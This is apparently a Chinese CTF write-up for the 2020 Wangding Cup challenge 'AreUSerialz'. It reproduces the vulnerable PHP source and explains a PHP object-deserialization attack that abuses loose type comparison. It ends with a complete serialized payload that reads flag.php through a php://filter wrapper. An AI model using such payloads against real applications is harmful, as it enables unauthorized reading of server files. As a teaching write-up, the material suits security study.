[网鼎杯 2020 青龙组]AreUSerialz 1
题目源码
1 <?php 2 3 include("flag.php"); 4 5 highlight_file(__FILE__); 6 7 class FileHandler { 8 9 protected $op; 10 protected $filename; 11 protected $content; 12 13 function __construct() { 14 $op = "1"; 15 $filename = "/tmp/tmpfile"; 16 $content = "Hello World!"; 17 $this->process(); 18 } 19 20 public function process() { 21 if($this->op == "1") { 22 $this->write(); 23 } else if($this->op == "2") { 24 $res = $this->read(); 25 $this->output($res); 26 } else { 27 $this->output("Bad Hacker!"); 28 } 29 } 30 31 private function write() { 32 if(isset($this->filename) && isset($this->content)) { 33 if(strlen((string)$this->content) > 100) { 34 $this->output("Too long!"); 35 die(); 36 } 37 $res = file_put_contents($this->filename, $this->content); 38 if($res) $this->output("Successful!"); 39 else $this->output("Failed!"); 40 } else { 41 $this->output("Failed!"); 42 } 43 } 44 45 private function read() { 46 $res = ""; 47 if(isset($this->filename)) { 48 $res = file_get_contents($this->filename); 49 } 50 return $res; 51 } 52 53 private function output($s) { 54 echo "[Result]: <br>"; 55 echo $s; 56 } 57 58 function __destruct() { 59 if($this->op === "2") 60 $this->op = "1"; 61 $this->content = ""; 62 $this->process(); 63 } 64 65 } 66 67 function is_valid($s) { 68 for($i = 0; $i < strlen($s); $i++) 69 if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)) 70 return false; 71 return true; 72 } 73 74 if(isset($_GET{'str'})) { 75 76 $str = (string)$_GET['str']; 77 if(is_valid($str)) { 78 $obj = unserialize($str); 79 } 80 81 }
审计源码发现,我们可以传递一个str参数,如果能通过is_valid(),则将其反序列化
我们再来看看这个函数,如果参数中的每一个字符的ASCIi码值都在32~125的范围内,则return true
其实到这里解题思路已经明确了:
我们要构造一个payload去使得执行read()方法,来使flag.php的内容显现出来
在反序列化的过程中会调用__destruct()方法
1 function __destruct() { 2 if($this->op === "2") 3 $this->op = "1"; 4 $this->content = ""; 5 $this->process(); 6 }
如果op === "2",则会将其赋值为",此处为强类型比较
同时content为空,再调用process()方法,查看该方法可知,如果op == "1",则会进入write()方法,显然不是我们预期的结果,op == “2”,就会进入read()方法,正是我们的目的,值得注意的是,在这个方法中的比较是弱类型比较,也就是说如果将op赋值为int类型的2,则op === "2"为false,op == "2"为true,正好达到了我们的目的,进入了read()方法
1private function read() { 2 $res = ""; 3 if(isset($this->filename)) { 4 $res = file_get_contents($this->filename); 5 } 6 return $res; 7}
filename是我们可以控制的,接着使用file_get_contents函数读取文件,我们此处借助php://filter伪协议读取文件,获取到文件后使用output函数输出
private function output($s) { echo "[Result]: <br>"; echo $s; }
整个利用思路就很明显了,还有一个需要注意的地方是,$op,$filename,$content三个变量权限都是protected,而protected权限的变量在序列化的时会有%00*%00字符,%00字符的ASCII码为0,就无法通过上面的is_valid函数校验
有一种简单粗暴的方法,php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可
public $op = 2; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php"; public $content;
进行反序列化得到
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";N;}
将其赋值给str即可得到flag.php的内容,解码即可得到flag